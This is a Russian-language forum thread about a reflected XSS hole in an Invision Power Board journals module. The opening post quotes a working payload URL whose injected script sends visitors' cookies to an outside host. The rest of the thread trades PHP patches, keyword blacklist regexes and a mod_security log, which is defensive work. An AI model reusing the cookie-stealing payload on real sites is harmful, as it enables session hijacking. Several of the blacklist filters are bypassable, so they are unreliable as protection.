Перейти к контенту

XSS в дневниках


Arhar

Рекомендуемые сообщения

ссылкой типа

_ttp://www.sumirea.ru/forum/journal.php?user=9251"><script>window.location.href='_ttp://ebu.hut2.ru/fun.php?'+doc_ument.co_okie</script>

угоняются куки,причем успешно

 

хорошо я присутствовал в момент взлома, да и ломал тупой кулхацкер, так что ничего он не успел сделать

но вопрос - откуда такая ерунда и почему оно сработало

 

сработало по непонятной причине, добавил пару фильтров в class_bbcode_core в функцию парсинга ссылок

отпишитесь, носит ли это только локальный характер

Ссылка на комментарий
Поделиться на других сайтах

В файле ./journal.php

 

Для форума 2.0 после строки:

$ibforums->input = $std->parse_incoming();

добавить:

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);

 

Для форума 2.1 и старше после:

$ipsclass->parse_incoming();

добавить:

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);

 

 

Это временное решение, если кто сделает более элегантно и грамотно буду только рад.

 

Крадутся куки модераторов дневников. :D

Проблема в том что в шаблоне skin_global.php используется $_SERVER['REQUEST_URI']. ;)

Ссылка на комментарий
Поделиться на других сайтах

также временно

$ipsclass->parse_incoming();
$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);
$_SERVER['REQUEST_URI'] = preg_replace( "/script/i"  , "s_c_r_i_p_t"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/window/i"  , "w_i_n_d_o_w"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/location/i"  , "l_o_c_a_t_i_o_n"   , $_SERVER['REQUEST_URI'] );

 

принципиально важно убрать яваскриптные редиректы

я их всех не знаю

 

установил

IE7 болезненно реагирует на слово document

неважно, есть ли очистка тегов, он просто перенаправляет сразу

 

более менее это выглядит так

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);
$_SERVER['REQUEST_URI'] = preg_replace( "/script/i"  , "s_c_r_i_p_t"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/window/i"  , "w_i_n_d_o_w"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/location/i"  , "l_o_c_a_t_i_o_n"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/document/i"  , "d_o_c_u_m_e_n_t"   , $_SERVER['REQUEST_URI'] );
if(strpos($_SERVER['REQUEST_URI'],'cookie')!==false)
{
print "**itesv***sukinepoluchitevicookie";
exit;
}
$_SERVER['REQUEST_URI'] = preg_replace( "/cookie/i"  , "**itesv***"   , $_SERVER['REQUEST_URI'] );

Ссылка на комментарий
Поделиться на других сайтах

Может не хватить... Посмотри для примера post_db_parse_html в class_bbcode_core.php и pre_db_parse в class_bbcode.php.
Ссылка на комментарий
Поделиться на других сайтах

уязвимы по идее только те, у кого есть галочка в графе "модератор дневников"

пока-что принципиально закрыл слово куки, вроде закрываемость работает

 

но это не полное решение

 

также убираем слово куки в урл закодированном варианте

if(strpos($_SERVER['REQUEST_URI'],'%63%6F%6F%6B%69%65')!==false)
{
print "***";
exit;
}
$_SERVER['REQUEST_URI'] = preg_replace( "/%63%6F%6F%6B%69%65/i"  , "***"   , $_SERVER['REQUEST_URI'] );

 

 

SnS++;

Ссылка на комментарий
Поделиться на других сайтах

Ahar

По поводу чего можно "пропихнуть" вот тут глянь (мы там про кукисы, но суть едина в плане того что и табы в словах ИЕ проглатывает и т.д.)

http://www.ibresource.ru/forums/index.php?showtopic=28683

Ссылка на комментарий
Поделиться на других сайтах

да я следил за этой темой, Сонг че-то там напридумывал и теперь у него в каждом сообщении со словом скрипт выдается бяка)...

 

так про пробелы в слове фишка работает?

тогда надо вырезать пробелы

Ссылка на комментарий
Поделиться на других сайтах

так про пробелы в слове фишка работает?

тогда надо вырезать пробелы

Потому и давал выше ссылки на функции, там как раз есть регулярки и для пробелов.

Ссылка на комментарий
Поделиться на других сайтах

напиши их плиз сразу (для пробелов)

я сегодня машину с толкача заводил чтоб из института домой доехать, как-то сил нет)

 

по ходу хорошо так:

$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);

и у тех, у кого нет этой функции

 

смотреть дистрибутивы версии 22х и выше

 

вот так реально помогает

решение.

Ссылка на комментарий
Поделиться на других сайтах

//----------------------------

// 'ass' in 'class' kills css

//----------------------------

:D

 

Примерно так:

if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )
{
лажа;
}

 

Arhar, ага, это видимо в память запало ;)

 

P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись?

Ссылка на комментарий
Поделиться на других сайтах

тема заглохла?

нехорошо

что скажет автор модуля по поводу решения:

$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);

xsscleanhtml.txt

Ссылка на комментарий
Поделиться на других сайтах

А может, просто фильтровать REQUEST_URI на нехорошие символы? или лучше, _GET. Какие у нас там возможны значения? Только \w и еще иногда # - как в именах ключей, так и в значениях. И все, враг не пройдет.

 

где-то так

$url = $this->base_url;
foreach ($_GET as $k => $v)
{
$url .= preg_replace("/\W/", "", $k)."=".preg_replace("/[^#\w]/", "", $v)."&";
}
$url = rtrim($url, "&");
$mod_mode = $this->skin->html['global']->moderator_mode($mod_view,$mod_text,$url);

и соотвественно в скине подправить функцию moderator_mode - добавить третий параметр...

 

т.е. если оставить в query string только латинские буквы, цифры, подчеркивание и знак #, то никакой xss по определению не пройдет... а ничего другого в дневниках get-ом и не передается.

Ссылка на комментарий
Поделиться на других сайтах

Пусть юзают. Что от него останется после вышеприведенной очистки?

 

Только про "#" я прогнала - надо и его выкидывать. Это ни на что особо не повлияет.

 

А вообще-то, и это ерунда:D

 

Надо просто в skin_global.php вот это

<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>

заменить на это

<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a>

Изменено пользователем l-k
Ссылка на комментарий
Поделиться на других сайтах

Надо просто в skin_global.php вот это

<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>

заменить на это

<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a>

Ага. Наконец то кто-то это сделал :D

 

P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись?
Ссылка на комментарий
Поделиться на других сайтах

А если на сервере с apache'м юзать mod_security то в логах самого сервера бывают такого типа мессаджи

 

==0615eb06==============================
Request: URL 72.232.10.98 - - [15/Sep/2007:22:05:57 +0400] "GET /forum/java script:multi_page_jump(/ HTTP/1.1" 200 45337 "-" "Mozilla/4.0 (compa
tible; MSIE 6.0; Windows NT 5.1)" - "-"
----------------------------------------
GET /forum/java script:multi_page_jump(/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: URL
Pragma: no-cache
Accept: */*
mod_security-message: Warning. Pattern match "java script:" at QUERY_STRING [msg "XSS attack"] [severity "EMERGENCY"]

HTTP/1.1 200 OK
X-Powered-By: PHP/version
Set-Cookie: ipb_session_id=f34ae3c5e2338254e316aa7e32becc70; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=WINDOWS-1251
--0615eb06--

 

вобщем это позволяет в некотором роде снизить риски

 

У себя применил фиксы от urisoft и l-k , буду смотреть. Как вообще такой URL, который привел Arhar пролез или это просто в браузере руками вводили?

Ссылка на комментарий
Поделиться на других сайтах

Arhar, "решетка" (fragment identifier) в _GET не попадает, значит, учитывать ее при очистке значений параметров не нужно. Ее, если она нужна, надо выцеплять из $_SERVER['REQUEST_URI']. Насчет IE7 ничего не скажу, проверить не могу. Другие браузеры, как правило, ее не цепляют к url при отправке запроса.
Ссылка на комментарий
Поделиться на других сайтах

Да, конечно, неважно :D тема раскрыта.

 

Но раз уж ты про это упомянул, то в Википедии хорошо разжевано про обработку этой решетки браузером и серверными скриптами. http://en.wikipedia.org/wiki/Fragment_identifier

Ссылка на комментарий
Поделиться на других сайтах

эээээ,нет,так не пойдет

 

после этого изменения все равно происходит переадресация, даже учитывая то, что я убрал $_SERVER['REQUEST_URI']

 

а, ну естесственно!

 

./journal/journal.php

			$stats = '<br /><div align="center" class="copyright">[ Script Execution time: '.sprintf( "%.4f",$Debug->endTimer()).' ]   [ '.$DB->get_query_cnt().' <a style="text-decoration:none" href="'.$this->base_url.$_SERVER['QUERY_STRING'].'&debug=1">queries</a> used ]   [ '.$gzip_status.' ] '.$sload.'</div>'.$stats;

что здесь делает query_string?

правильно!

ворует куки!!!

 

ппц дырявый модуль

 

http://img502.imageshack.us/img502/6517/vzlomtestmh2.jpg

 

вот решение

 

$_SERVER['REQUEST_URI'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is"		, "vzlom" , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is"		, "vzlom" , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is"  , "vzlom"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);
$_SERVER['QUERY_STRING'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is"		, "vzlom" , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is"		, "vzlom" , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is"  , "vzlom"   , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = $ipsclass->xss_html_clean($_SERVER['QUERY_STRING']);

тут уж никакие коды точно не должны пройти

Ссылка на комментарий
Поделиться на других сайтах

Так и туда можно javascript засунуть... острой необходимости использовать именно $_SERVER['QUERY_STRING'] по-прежнему нет. Нууу, например, так

document.location.href = document.location.href.replace("?","?debug=1&");

 

А у меня debug mode всегда отключен, так спокойней.

Ссылка на комментарий
Поделиться на других сайтах

В какое место лучше закинуть function xss_html_clean?

Насколько я понимаю, то после замены $ipsclass->xss_html_clean на $ibforums->xss_html_clean это будет актуально и для 2.0.х форумов?

 

Debug тоже всегда отключаю ибо не нужен он в повседневной жизни.

Ссылка на комментарий
Поделиться на других сайтах

функцию наверно в конец файла ibforums.php

она не зависит ни от каких других встроенных функций, поэтому ее можно вообще куда угодно запихнуть

вообще она полезная, я использовал ее еще в некоторых местах в class_bbcode_core

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.